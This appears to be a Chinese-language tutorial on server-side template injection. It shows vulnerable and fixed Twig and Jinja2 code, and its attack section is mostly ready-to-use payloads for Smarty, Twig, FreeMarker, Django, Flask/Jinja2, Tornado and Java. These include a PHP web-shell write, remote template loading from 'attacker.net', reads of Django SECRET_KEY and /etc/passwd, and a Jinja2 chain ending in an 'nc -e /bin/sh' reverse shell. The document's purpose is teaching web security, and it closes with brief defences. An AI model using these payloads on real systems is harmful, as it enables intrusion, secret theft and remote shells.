服务端模板注入(Server-Side Template Injection)
模板
网站开发时经常会使用一种模板技术,由模板控制前端的显示。
不使用模板:
1 2 3 4 5 6
| from flask import Flask app = Flask(__name__)
@app.route('/user/<name>') def user(name): return '<h1>Hello, {}!</h1>'.format(name)
|
使用模板:
1 2 3 4 5 6
| from flask import Flask, render_template app = Flask(__name__)
@app.route('/user/<name>') def user(name): return render_template('user.html', name=name)
|
user.html:
1
| <h1>Hello, {{ name }}!</ht>
|
模板除了这样简单的替换功能,还支持更高级的功能。比如从一个字典、列表甚至对象中获取变量,可以对变量使用过滤器,提供控制结构和宏,支持扩展和继承。
常见模板引擎
- PHP: Smarty, Twig, Blade
- JAVA: JSP, FreeMarker, Velocity
- Python: Jinja2, django, tornado
模板注入
注入产生的原因是混淆程序和数据
PHP - Twig
存在漏洞版本
1 2 3 4 5 6 7
| <?php require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘; Twig_Autoloader::register(true);
$twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {$_GET[‘name‘]}"); echo $output;
|
修复版本:
1 2 3 4 5 6
| <?php require_once dirname(__FILE__).‘/../lib/Twig/Autoloader.php‘; Twig_Autoloader::register(true); $twig = new Twig_Environment(new Twig_Loader_String()); $output = $twig->render("Hello {{name}}", array("name" => $_GET["name"])); echo $output;
|
Python - Jinja2
存在漏洞:
1 2 3 4 5 6 7 8 9 10 11
| @app.errorhandler(404) def page_not_found(e): template = '''{%% extends "layout.html" %%} {%% block body %%} <div class="center-content error"> <h1>Oops! That page doesn't exist.</h1> <h3>%s</h3> </div> {%% endblock %%} ''' % (request.url) return render_template_string(template), 404
|
检测
在可能存在 SSTI 的地方使用
类似这样的 payload,如果能在页面上看到返回了 2,就说明表达式能够执行,可以模板注入。
攻击
利用模板特性
Smarty
Smarty 提供了安全模式,只能执行白名单中的PHP函数,但我们可以从模板本身入手。
$smarty
内置类可以用于访问环境变量,使用self
就可以得到这个类,它提供了一些好用的方法,比如getStreamVariable(),可以获取传入变量的流(读文件)
1
| {self::getStreamVariable("file:///proc/self/loginuid")}
|
class Smarty_Internal_Write_File,有一个writeFile
函数,可以写文件
1
| {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
|
Twig
Twig 无法调用静态方法,并且所有函数的返回值都转换为字符串。但是提供了一个_self
,有一个env
,指Twig_Environment
对象,有一个setCache
方法,可以改变Twig尝试加载和执行编译模板的位置,可以通过将缓存位置设置为远程服务器进行远程文件包含。
1 2
| {{_self.env.setCache("ftp://attacker.net:2121")}} {{_self.env.loadTemplate("backdoor")}}
|
但是这个 payload 需要打开allow_url_include
,所以换用getFilter
方法,其中调用了call_user_function
方法
1 2
| {{_self.env.registerUndefinedFilterCallback("exec")}} {{_self.env.getFilter("id")}}
|
FreeMarker
1
| <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
|
利用框架特性
Django
1 2 3
| http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
|
Flask - Jinja2
config 是 Flask 框架中的一个全局对象,代表当前配置对象flask config
,包含了所有应用程序的配置值。包含一些方法:from_envvar
,from_object
,from_pyfile
,root_path
。
1 2 3 4 5 6
| {{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/evil', 'w').write('from os import system%0aSHELL = system') }} //写文件 {{ config.from_pyfile('/tmp/evil') }} //加载system {{ config['SHELL']('nc xxxx xx -e /bin/sh') }} //执行命令反弹SHELL
|
Tornado
1
| http://117.78.26.79:31093/error?msg={{handler.settings}}
|
利用语言特性
Python
需要绕过沙盒机制,[一篇博文](http://www.k0rz3n.com/2018/05/04/Python 沙盒逃逸备忘/)
Java
1 2 3
| ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
|
防御
- 过滤用户输入
- 不要直接使用格式化字符串,或者使用正规的模板渲染方法